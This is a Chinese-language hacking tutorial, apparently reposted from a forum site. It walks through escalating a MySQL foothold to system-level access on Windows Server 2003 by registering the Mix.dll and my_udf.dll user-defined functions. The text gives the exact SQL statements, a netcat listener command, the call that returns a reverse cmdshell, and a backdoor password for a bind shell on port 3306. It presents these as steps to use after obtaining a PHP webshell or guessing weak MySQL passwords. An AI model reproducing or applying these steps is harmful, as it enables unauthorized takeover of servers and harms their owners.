前段时间听说mysql利用Mix.dll可以直接拿到系统权限,我在本地测试了一下,效果不错,我是在windows server2003 sp1下测试的,测试MYSQL的版本是4.0.23,这个提升在什么情况能够利用呢?比如我们获得一个PHPshell的情况下,没装serv-u,又没装pcanywhere,就装了一个mysql,所知的提升方法在这里也用不上,这时就可以用到这个方法了,在扫到MYSQL弱口令的情况下也能用上, 怎么把DLL文件传上去呢?请自行查看Mix的文章,我本地测试就不多此一举了,现在我们来看一下该怎么样弄的。我们先登陆MYSQL,开始-运行- CMD 跳到MYSQL的安装目录。输入mysql -uroot -p 用户名root 密码为空。好登陆成功,如图1
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
好现在我们输入create function Mixconnect returns string soname 'c:\\Mix\\Mix.dll'; 我们需要注册Mixconnect来执行系统命令。这里的c:\\mix\\mix.dll就是我本机的 Mix.dll的路径。输入后按回车,出现Qusery OK等字样,那就是注册成功了。如图2
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
好了显示注册成功,然后我们用NC监听1234端口,nc -l -p 1234 。如图3
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
快到关键的时刻咯,时时关注此NC窗口。现在我们在登陆MYSQL的那个CMD窗口输入select Mixconnect('127.0.0.1','1234');然后按回车,就定在那里了,而监听的那个窗口已经成功得到一个cmdshell了。如图4
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
成功得到cmdshell,但是MYSQL已经假死了,这时我们需要把mysql的服务进程给KILL掉,仅仅重新启动MYSQL是不行的, KILL掉之后再重新启动服务。不光Mix.dll可以拿下系统权限,my_udf.dll也可以,用法也一样,我们继续来看看.用法一样,只不过得到 cmdshell的方式不同.先登陆mysql,然后输入create function my_udfdoor returns string soname 'c:\\Mix\\my_udf.dll'; 按回车,如图5
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
注册函数成功,然后我们就开始激活这个函数,输入select my_udfdoor (''); 回车,然后用nc连接3306端口,然后输入fUCk 就可以得到一个cmdshell啦,如图6 .7
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
[1] [2]
screen.width-300)this.width=screen.width-300' border='0' alt='Click to Open in New Window'>
OK测试成功.fuck这个密码怪狗想改成77169居然没改成,郁闷了呵呵.
(出处:http://www.sheup.com)
[1] [2]